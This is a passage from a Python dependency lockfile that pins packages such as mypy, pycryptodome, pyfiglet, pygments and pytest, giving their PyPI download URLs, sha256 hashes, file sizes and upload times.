{ url = "https://files.pythonhosted.org/packages/36/e9/a0aa60f5322814dd084a89614e9e31139702e342f8459ad8af1984a18168/librt-0.7.4-cp314-cp314t-win_arm64.whl", hash = "sha256:76b2ba71265c0102d11458879b4d53ccd0b32b0164d14deb8d2b598a018e502f", size = 39724, upload-time = "2025-12-15T16:52:29.836Z" },
]
[[package]]
name = "mypy"
version = "1.19.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "librt", marker = "platform_python_implementation != 'PyPy'" },
{ name = "mypy-extensions" },
{ name = "pathspec" },
{ name = "tomli", marker = "python_full_version < '3.11'" },
{ name = "typing-extensions" },
]
sdist = { url = "https://files.pythonhosted.org/packages/f5/db/4efed9504bc01309ab9c2da7e352cc223569f05478012b5d9ece38fd44d2/mypy-1.19.1.tar.gz", hash = "sha256:19d88bb05303fe63f71dd2c6270daca27cb9401c4ca8255fe50d1d920e0eb9ba", size = 3582404, upload-time = "2025-12-15T05:03:48.42Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/2f/63/e499890d8e39b1ff2df4c0c6ce5d371b6844ee22b8250687a99fd2f657a8/mypy-1.19.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5f05aa3d375b385734388e844bc01733bd33c644ab48e9684faa54e5389775ec", size = 13101333, upload-time = "2025-12-15T05:03:03.28Z" },
{ url = "https://files.pythonhosted.org/packages/72/4b/095626fc136fba96effc4fd4a82b41d688ab92124f8c4f7564bffe5cf1b0/mypy-1.19.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:022ea7279374af1a5d78dfcab853fe6a536eebfda4b59deab53cd21f6cd9f00b", size = 12164102, upload-time = "2025-12-15T05:02:33.611Z" },
{ url = "https://files.pythonhosted.org/packages/0c/5b/952928dd081bf88a83a5ccd49aaecfcd18fd0d2710c7ff07b8fb6f7032b9/mypy-1.19.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee4c11e460685c3e0c64a4c5de82ae143622410950d6be863303a1c4ba0e36d6", size = 12765799, upload-time = "2025-12-15T05:03:28.44Z" },
{ url = "https://files.pythonhosted.org/packages/2a/0d/93c2e4a287f74ef11a66fb6d49c7a9f05e47b0a4399040e6719b57f500d2/mypy-1.19.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:de759aafbae8763283b2ee5869c7255391fbc4de3ff171f8f030b5ec48381b74", size = 13522149, upload-time = "2025-12-15T05:02:36.011Z" },
{ url = "https://files.pythonhosted.org/packages/7b/0e/33a294b56aaad2b338d203e3a1d8b453637ac36cb278b45005e0901cf148/mypy-1.19.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ab43590f9cd5108f41aacf9fca31841142c786827a74ab7cc8a2eacb634e09a1", size = 13810105, upload-time = "2025-12-15T05:02:40.327Z" },
{ url = "https://files.pythonhosted.org/packages/0e/fd/3e82603a0cb66b67c5e7abababce6bf1a929ddf67bf445e652684af5c5a0/mypy-1.19.1-cp310-cp310-win_amd64.whl", hash = "sha256:2899753e2f61e571b3971747e302d5f420c3fd09650e1951e99f823bc3089dac", size = 10057200, upload-time = "2025-12-15T05:02:51.012Z" },
{ url = "https://files.pythonhosted.org/packages/ef/47/6b3ebabd5474d9cdc170d1342fbf9dddc1b0ec13ec90bf9004ee6f391c31/mypy-1.19.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d8dfc6ab58ca7dda47d9237349157500468e404b17213d44fc1cb77bce532288", size = 13028539, upload-time = "2025-12-15T05:03:44.129Z" },
{ url = "https://files.pythonhosted.org/packages/5c/a6/ac7c7a88a3c9c54334f53a941b765e6ec6c4ebd65d3fe8cdcfbe0d0fd7db/mypy-1.19.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e3f276d8493c3c97930e354b2595a44a21348b320d859fb4a2b9f66da9ed27ab", size = 12083163, upload-time = "2025-12-15T05:03:37.679Z" },
{ url = "https://files.pythonhosted.org/packages/67/af/3afa9cf880aa4a2c803798ac24f1d11ef72a0c8079689fac5cfd815e2830/mypy-1.19.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2abb24cf3f17864770d18d673c85235ba52456b36a06b6afc1e07c1fdcd3d0e6", size = 12687629, upload-time = "2025-12-15T05:02:31.526Z" },
{ url = "https://files.pythonhosted.org/packages/2d/46/20f8a7114a56484ab268b0ab372461cb3a8f7deed31ea96b83a4e4cfcfca/mypy-1.19.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a009ffa5a621762d0c926a078c2d639104becab69e79538a494bcccb62cc0331", size = 13436933, upload-time = "2025-12-15T05:03:15.606Z" },
{ url = "https://files.pythonhosted.org/packages/5b/f8/33b291ea85050a21f15da910002460f1f445f8007adb29230f0adea279cb/mypy-1.19.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f7cee03c9a2e2ee26ec07479f38ea9c884e301d42c6d43a19d20fb014e3ba925", size = 13661754, upload-time = "2025-12-15T05:02:26.731Z" },
{ url = "https://files.pythonhosted.org/packages/fd/a3/47cbd4e85bec4335a9cd80cf67dbc02be21b5d4c9c23ad6b95d6c5196bac/mypy-1.19.1-cp311-cp311-win_amd64.whl", hash = "sha256:4b84a7a18f41e167f7995200a1d07a4a6810e89d29859df936f1c3923d263042", size = 10055772, upload-time = "2025-12-15T05:03:26.179Z" },
{ url = "https://files.pythonhosted.org/packages/06/8a/19bfae96f6615aa8a0604915512e0289b1fad33d5909bf7244f02935d33a/mypy-1.19.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:a8174a03289288c1f6c46d55cef02379b478bfbc8e358e02047487cad44c6ca1", size = 13206053, upload-time = "2025-12-15T05:03:46.622Z" },
{ url = "https://files.pythonhosted.org/packages/a5/34/3e63879ab041602154ba2a9f99817bb0c85c4df19a23a1443c8986e4d565/mypy-1.19.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ffcebe56eb09ff0c0885e750036a095e23793ba6c2e894e7e63f6d89ad51f22e", size = 12219134, upload-time = "2025-12-15T05:03:24.367Z" },
{ url = "https://files.pythonhosted.org/packages/89/cc/2db6f0e95366b630364e09845672dbee0cbf0bbe753a204b29a944967cd9/mypy-1.19.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b64d987153888790bcdb03a6473d321820597ab8dd9243b27a92153c4fa50fd2", size = 12731616, upload-time = "2025-12-15T05:02:44.725Z" },
{ url = "https://files.pythonhosted.org/packages/00/be/dd56c1fd4807bc1eba1cf18b2a850d0de7bacb55e158755eb79f77c41f8e/mypy-1.19.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c35d298c2c4bba75feb2195655dfea8124d855dfd7343bf8b8c055421eaf0cf8", size = 13620847, upload-time = "2025-12-15T05:03:39.633Z" },
{ url = "https://files.pythonhosted.org/packages/6d/42/332951aae42b79329f743bf1da088cd75d8d4d9acc18fbcbd84f26c1af4e/mypy-1.19.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:34c81968774648ab5ac09c29a375fdede03ba253f8f8287847bd480782f73a6a", size = 13834976, upload-time = "2025-12-15T05:03:08.786Z" },
{ url = "https://files.pythonhosted.org/packages/6f/63/e7493e5f90e1e085c562bb06e2eb32cae27c5057b9653348d38b47daaecc/mypy-1.19.1-cp312-cp312-win_amd64.whl", hash = "sha256:b10e7c2cd7870ba4ad9b2d8a6102eb5ffc1f16ca35e3de6bfa390c1113029d13", size = 10118104, upload-time = "2025-12-15T05:03:10.834Z" },
{ url = "https://files.pythonhosted.org/packages/de/9f/a6abae693f7a0c697dbb435aac52e958dc8da44e92e08ba88d2e42326176/mypy-1.19.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e3157c7594ff2ef1634ee058aafc56a82db665c9438fd41b390f3bde1ab12250", size = 13201927, upload-time = "2025-12-15T05:02:29.138Z" },
{ url = "https://files.pythonhosted.org/packages/9a/a4/45c35ccf6e1c65afc23a069f50e2c66f46bd3798cbe0d680c12d12935caa/mypy-1.19.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:bdb12f69bcc02700c2b47e070238f42cb87f18c0bc1fc4cdb4fb2bc5fd7a3b8b", size = 12206730, upload-time = "2025-12-15T05:03:01.325Z" },
{ url = "https://files.pythonhosted.org/packages/05/bb/cdcf89678e26b187650512620eec8368fded4cfd99cfcb431e4cdfd19dec/mypy-1.19.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f859fb09d9583a985be9a493d5cfc5515b56b08f7447759a0c5deaf68d80506e", size = 12724581, upload-time = "2025-12-15T05:03:20.087Z" },
{ url = "https://files.pythonhosted.org/packages/d1/32/dd260d52babf67bad8e6770f8e1102021877ce0edea106e72df5626bb0ec/mypy-1.19.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c9a6538e0415310aad77cb94004ca6482330fece18036b5f360b62c45814c4ef", size = 13616252, upload-time = "2025-12-15T05:02:49.036Z" },
{ url = "https://files.pythonhosted.org/packages/71/d0/5e60a9d2e3bd48432ae2b454b7ef2b62a960ab51292b1eda2a95edd78198/mypy-1.19.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:da4869fc5e7f62a88f3fe0b5c919d1d9f7ea3cef92d3689de2823fd27e40aa75", size = 13840848, upload-time = "2025-12-15T05:02:55.95Z" },
{ url = "https://files.pythonhosted.org/packages/98/76/d32051fa65ecf6cc8c6610956473abdc9b4c43301107476ac03559507843/mypy-1.19.1-cp313-cp313-win_amd64.whl", hash = "sha256:016f2246209095e8eda7538944daa1d60e1e8134d98983b9fc1e92c1fc0cb8dd", size = 10135510, upload-time = "2025-12-15T05:02:58.438Z" },
{ url = "https://files.pythonhosted.org/packages/de/eb/b83e75f4c820c4247a58580ef86fcd35165028f191e7e1ba57128c52782d/mypy-1.19.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:06e6170bd5836770e8104c8fdd58e5e725cfeb309f0a6c681a811f557e97eac1", size = 13199744, upload-time = "2025-12-15T05:03:30.823Z" },
{ url = "https://files.pythonhosted.org/packages/94/28/52785ab7bfa165f87fcbb61547a93f98bb20e7f82f90f165a1f69bce7b3d/mypy-1.19.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:804bd67b8054a85447c8954215a906d6eff9cabeabe493fb6334b24f4bfff718", size = 12215815, upload-time = "2025-12-15T05:02:42.323Z" },
{ url = "https://files.pythonhosted.org/packages/0a/c6/bdd60774a0dbfb05122e3e925f2e9e846c009e479dcec4821dad881f5b52/mypy-1.19.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21761006a7f497cb0d4de3d8ef4ca70532256688b0523eee02baf9eec895e27b", size = 12740047, upload-time = "2025-12-15T05:03:33.168Z" },
{ url = "https://files.pythonhosted.org/packages/32/2a/66ba933fe6c76bd40d1fe916a83f04fed253152f451a877520b3c4a5e41e/mypy-1.19.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:28902ee51f12e0f19e1e16fbe2f8f06b6637f482c459dd393efddd0ec7f82045", size = 13601998, upload-time = "2025-12-15T05:03:13.056Z" },
{ url = "https://files.pythonhosted.org/packages/e3/da/5055c63e377c5c2418760411fd6a63ee2b96cf95397259038756c042574f/mypy-1.19.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:481daf36a4c443332e2ae9c137dfee878fcea781a2e3f895d54bd3002a900957", size = 13807476, upload-time = "2025-12-15T05:03:17.977Z" },
{ url = "https://files.pythonhosted.org/packages/cd/09/4ebd873390a063176f06b0dbf1f7783dd87bd120eae7727fa4ae4179b685/mypy-1.19.1-cp314-cp314-win_amd64.whl", hash = "sha256:8bb5c6f6d043655e055be9b542aa5f3bdd30e4f3589163e85f93f3640060509f", size = 10281872, upload-time = "2025-12-15T05:03:05.549Z" },
{ url = "https://files.pythonhosted.org/packages/8d/f4/4ce9a05ce5ded1de3ec1c1d96cf9f9504a04e54ce0ed55cfa38619a32b8d/mypy-1.19.1-py3-none-any.whl", hash = "sha256:f1235f5ea01b7db5468d53ece6aaddf1ad0b88d9e7462b86ef96fe04995d7247", size = 2471239, upload-time = "2025-12-15T05:03:07.248Z" },
]
[[package]]
name = "mypy-extensions"
version = "1.1.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/a2/6e/371856a3fb9d31ca8dac321cda606860fa4548858c0cc45d9d1d4ca2628b/mypy_extensions-1.1.0.tar.gz", hash = "sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558", size = 6343, upload-time = "2025-04-22T14:54:24.164Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/79/7b/2c79738432f5c924bef5071f933bcc9efd0473bac3b4aa584a6f7c1c8df8/mypy_extensions-1.1.0-py3-none-any.whl", hash = "sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505", size = 4963, upload-time = "2025-04-22T14:54:22.983Z" },
]
[[package]]
name = "packaging"
version = "25.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" },
]
[[package]]
name = "pathspec"
version = "0.12.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/ca/bc/f35b8446f4531a7cb215605d100cd88b7ac6f44ab3fc94870c120ab3adbf/pathspec-0.12.1.tar.gz", hash = "sha256:a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712", size = 51043, upload-time = "2023-12-10T22:30:45Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/cc/20/ff623b09d963f88bfde16306a54e12ee5ea43e9b597108672ff3a408aad6/pathspec-0.12.1-py3-none-any.whl", hash = "sha256:a0d503e138a4c123b27490a4f7beda6a01c6f288df0e4a8b79c7eb0dc7b4cc08", size = 31191, upload-time = "2023-12-10T22:30:43.14Z" },
]
[[package]]
name = "platformdirs"
version = "4.5.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/cf/86/0248f086a84f01b37aaec0fa567b397df1a119f73c16f6c7a9aac73ea309/platformdirs-4.5.1.tar.gz", hash = "sha256:61d5cdcc6065745cdd94f0f878977f8de9437be93de97c1c12f853c9c0cdcbda", size = 21715, upload-time = "2025-12-05T13:52:58.638Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/cb/28/3bfe2fa5a7b9c46fe7e13c97bda14c895fb10fa2ebf1d0abb90e0cea7ee1/platformdirs-4.5.1-py3-none-any.whl", hash = "sha256:d03afa3963c806a9bed9d5125c8f4cb2fdaf74a55ab60e5d59b3fde758104d31", size = 18731, upload-time = "2025-12-05T13:52:56.823Z" },
]
[[package]]
name = "pluggy"
version = "1.6.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" },
]
[[package]]
name = "pycryptodome"
version = "3.23.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/8e/a6/8452177684d5e906854776276ddd34eca30d1b1e15aa1ee9cefc289a33f5/pycryptodome-3.23.0.tar.gz", hash = "sha256:447700a657182d60338bab09fdb27518f8856aecd80ae4c6bdddb67ff5da44ef", size = 4921276, upload-time = "2025-05-17T17:21:45.242Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/04/5d/bdb09489b63cd34a976cc9e2a8d938114f7a53a74d3dd4f125ffa49dce82/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:0011f7f00cdb74879142011f95133274741778abba114ceca229adbf8e62c3e4", size = 2495152, upload-time = "2025-05-17T17:20:20.833Z" },
{ url = "https://files.pythonhosted.org/packages/a7/ce/7840250ed4cc0039c433cd41715536f926d6e86ce84e904068eb3244b6a6/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:90460fc9e088ce095f9ee8356722d4f10f86e5be06e2354230a9880b9c549aae", size = 1639348, upload-time = "2025-05-17T17:20:23.171Z" },
{ url = "https://files.pythonhosted.org/packages/ee/f0/991da24c55c1f688d6a3b5a11940567353f74590734ee4a64294834ae472/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4764e64b269fc83b00f682c47443c2e6e85b18273712b98aa43bcb77f8570477", size = 2184033, upload-time = "2025-05-17T17:20:25.424Z" },
{ url = "https://files.pythonhosted.org/packages/54/16/0e11882deddf00f68b68dd4e8e442ddc30641f31afeb2bc25588124ac8de/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8f24adb74984aa0e5d07a2368ad95276cf38051fe2dc6605cbcf482e04f2a7", size = 2270142, upload-time = "2025-05-17T17:20:27.808Z" },
{ url = "https://files.pythonhosted.org/packages/d5/fc/4347fea23a3f95ffb931f383ff28b3f7b1fe868739182cb76718c0da86a1/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d97618c9c6684a97ef7637ba43bdf6663a2e2e77efe0f863cce97a76af396446", size = 2309384, upload-time = "2025-05-17T17:20:30.765Z" },
{ url = "https://files.pythonhosted.org/packages/6e/d9/c5261780b69ce66d8cfab25d2797bd6e82ba0241804694cd48be41add5eb/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9a53a4fe5cb075075d515797d6ce2f56772ea7e6a1e5e4b96cf78a14bac3d265", size = 2183237, upload-time = "2025-05-17T17:20:33.736Z" },
{ url = "https://files.pythonhosted.org/packages/5a/6f/3af2ffedd5cfa08c631f89452c6648c4d779e7772dfc388c77c920ca6bbf/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:763d1d74f56f031788e5d307029caef067febf890cd1f8bf61183ae142f1a77b", size = 2343898, upload-time = "2025-05-17T17:20:36.086Z" },
{ url = "https://files.pythonhosted.org/packages/9a/dc/9060d807039ee5de6e2f260f72f3d70ac213993a804f5e67e0a73a56dd2f/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:954af0e2bd7cea83ce72243b14e4fb518b18f0c1649b576d114973e2073b273d", size = 2269197, upload-time = "2025-05-17T17:20:38.414Z" },
{ url = "https://files.pythonhosted.org/packages/f9/34/e6c8ca177cb29dcc4967fef73f5de445912f93bd0343c9c33c8e5bf8cde8/pycryptodome-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:257bb3572c63ad8ba40b89f6fc9d63a2a628e9f9708d31ee26560925ebe0210a", size = 1768600, upload-time = "2025-05-17T17:20:40.688Z" },
{ url = "https://files.pythonhosted.org/packages/e4/1d/89756b8d7ff623ad0160f4539da571d1f594d21ee6d68be130a6eccb39a4/pycryptodome-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6501790c5b62a29fcb227bd6b62012181d886a767ce9ed03b303d1f22eb5c625", size = 1799740, upload-time = "2025-05-17T17:20:42.413Z" },
{ url = "https://files.pythonhosted.org/packages/5d/61/35a64f0feaea9fd07f0d91209e7be91726eb48c0f1bfc6720647194071e4/pycryptodome-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9a77627a330ab23ca43b48b130e202582e91cc69619947840ea4d2d1be21eb39", size = 1703685, upload-time = "2025-05-17T17:20:44.388Z" },
{ url = "https://files.pythonhosted.org/packages/db/6c/a1f71542c969912bb0e106f64f60a56cc1f0fabecf9396f45accbe63fa68/pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:187058ab80b3281b1de11c2e6842a357a1f71b42cb1e15bce373f3d238135c27", size = 2495627, upload-time = "2025-05-17T17:20:47.139Z" },
{ url = "https://files.pythonhosted.org/packages/6e/4e/a066527e079fc5002390c8acdd3aca431e6ea0a50ffd7201551175b47323/pycryptodome-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cfb5cd445280c5b0a4e6187a7ce8de5a07b5f3f897f235caa11f1f435f182843", size = 1640362, upload-time = "2025-05-17T17:20:50.392Z" },
{ url = "https://files.pythonhosted.org/packages/50/52/adaf4c8c100a8c49d2bd058e5b551f73dfd8cb89eb4911e25a0c469b6b4e/pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67bd81fcbe34f43ad9422ee8fd4843c8e7198dd88dd3d40e6de42ee65fbe1490", size = 2182625, upload-time = "2025-05-17T17:20:52.866Z" },
{ url = "https://files.pythonhosted.org/packages/5f/e9/a09476d436d0ff1402ac3867d933c61805ec2326c6ea557aeeac3825604e/pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c8987bd3307a39bc03df5c8e0e3d8be0c4c3518b7f044b0f4c15d1aa78f52575", size = 2268954, upload-time = "2025-05-17T17:20:55.027Z" },
{ url = "https://files.pythonhosted.org/packages/f9/c5/ffe6474e0c551d54cab931918127c46d70cab8f114e0c2b5a3c071c2f484/pycryptodome-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa0698f65e5b570426fc31b8162ed4603b0c2841cbb9088e2b01641e3065915b", size = 2308534, upload-time = "2025-05-17T17:20:57.279Z" },
{ url = "https://files.pythonhosted.org/packages/18/28/e199677fc15ecf43010f2463fde4c1a53015d1fe95fb03bca2890836603a/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:53ecbafc2b55353edcebd64bf5da94a2a2cdf5090a6915bcca6eca6cc452585a", size = 2181853, upload-time = "2025-05-17T17:20:59.322Z" },
{ url = "https://files.pythonhosted.org/packages/ce/ea/4fdb09f2165ce1365c9eaefef36625583371ee514db58dc9b65d3a255c4c/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:156df9667ad9f2ad26255926524e1c136d6664b741547deb0a86a9acf5ea631f", size = 2342465, upload-time = "2025-05-17T17:21:03.83Z" },
{ url = "https://files.pythonhosted.org/packages/22/82/6edc3fc42fe9284aead511394bac167693fb2b0e0395b28b8bedaa07ef04/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:dea827b4d55ee390dc89b2afe5927d4308a8b538ae91d9c6f7a5090f397af1aa", size = 2267414, upload-time = "2025-05-17T17:21:06.72Z" },
{ url = "https://files.pythonhosted.org/packages/59/fe/aae679b64363eb78326c7fdc9d06ec3de18bac68be4b612fc1fe8902693c/pycryptodome-3.23.0-cp37-abi3-win32.whl", hash = "sha256:507dbead45474b62b2bbe318eb1c4c8ee641077532067fec9c1aa82c31f84886", size = 1768484, upload-time = "2025-05-17T17:21:08.535Z" },
{ url = "https://files.pythonhosted.org/packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2", size = 1799636, upload-time = "2025-05-17T17:21:10.393Z" },
{ url = "https://files.pythonhosted.org/packages/18/3d/f9441a0d798bf2b1e645adc3265e55706aead1255ccdad3856dbdcffec14/pycryptodome-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:11eeeb6917903876f134b56ba11abe95c0b0fd5e3330def218083c7d98bbcb3c", size = 1703675, upload-time = "2025-05-17T17:21:13.146Z" },
{ url = "https://files.pythonhosted.org/packages/d9/12/e33935a0709c07de084d7d58d330ec3f4daf7910a18e77937affdb728452/pycryptodome-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ddb95b49df036ddd264a0ad246d1be5b672000f12d6961ea2c267083a5e19379", size = 1623886, upload-time = "2025-05-17T17:21:20.614Z" },
{ url = "https://files.pythonhosted.org/packages/22/0b/aa8f9419f25870889bebf0b26b223c6986652bdf071f000623df11212c90/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e95564beb8782abfd9e431c974e14563a794a4944c29d6d3b7b5ea042110b4", size = 1672151, upload-time = "2025-05-17T17:21:22.666Z" },
{ url = "https://files.pythonhosted.org/packages/d4/5e/63f5cbde2342b7f70a39e591dbe75d9809d6338ce0b07c10406f1a140cdc/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14e15c081e912c4b0d75632acd8382dfce45b258667aa3c67caf7a4d4c13f630", size = 1664461, upload-time = "2025-05-17T17:21:25.225Z" },
{ url = "https://files.pythonhosted.org/packages/d6/92/608fbdad566ebe499297a86aae5f2a5263818ceeecd16733006f1600403c/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7fc76bf273353dc7e5207d172b83f569540fc9a28d63171061c42e361d22353", size = 1702440, upload-time = "2025-05-17T17:21:27.991Z" },
{ url = "https://files.pythonhosted.org/packages/d1/92/2eadd1341abd2989cce2e2740b4423608ee2014acb8110438244ee97d7ff/pycryptodome-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:45c69ad715ca1a94f778215a11e66b7ff989d792a4d63b68dc586a1da1392ff5", size = 1803005, upload-time = "2025-05-17T17:21:31.37Z" },
]
[[package]]
name = "pyfiglet"
version = "1.0.4"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/c8/e3/0a86276ad2c383ce08d76110a8eec2fe22e7051c4b8ba3fa163a0b08c428/pyfiglet-1.0.4.tar.gz", hash = "sha256:db9c9940ed1bf3048deff534ed52ff2dafbbc2cd7610b17bb5eca1df6d4278ef", size = 1560615, upload-time = "2025-08-15T18:32:47.302Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/9f/5c/fe9f95abd5eaedfa69f31e450f7e2768bef121dbdf25bcddee2cd3087a16/pyfiglet-1.0.4-py3-none-any.whl", hash = "sha256:65b57b7a8e1dff8a67dc8e940a117238661d5e14c3e49121032bd404d9b2b39f", size = 1806118, upload-time = "2025-08-15T18:32:45.556Z" },
]
[[package]]
name = "pygments"
version = "2.19.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/b0/77/a5b8c569bf593b0140bde72ea885a803b82086995367bf2037de0159d924/pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887", size = 4968631, upload-time = "2025-06-21T13:39:12.283Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/c7/21/705964c7812476f378728bdf590ca4b771ec72385c533964653c68e86bdc/pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b", size = 1225217, upload-time = "2025-06-21T13:39:07.939Z" },
]
[[package]]
name = "pytest"
version = "9.0.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "colorama", marker = "sys_platform == 'win32'" },
{ name = "exceptiongroup", marker = "python_full_version < '3.11'" },
{ name = "iniconfig" },
{ name = "packaging" },
{ name = "pluggy" },
{ name = "pygments" },
{ name = "tomli", marker = "python_full_version < '3.11'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/d1/db/7ef3487e0fb0049ddb5ce41d3a49c235bf9ad299b6a25d5780a89f19230f/pytest-9.0.2.tar.gz", hash = "sha256:75186651a92bd89611d1d9fc20f0b4345fd827c41ccd5c299a868a05d70edf11", size = 1568901, upload-time = "2025-12-06T21:30:51.014Z" }
wheels = [
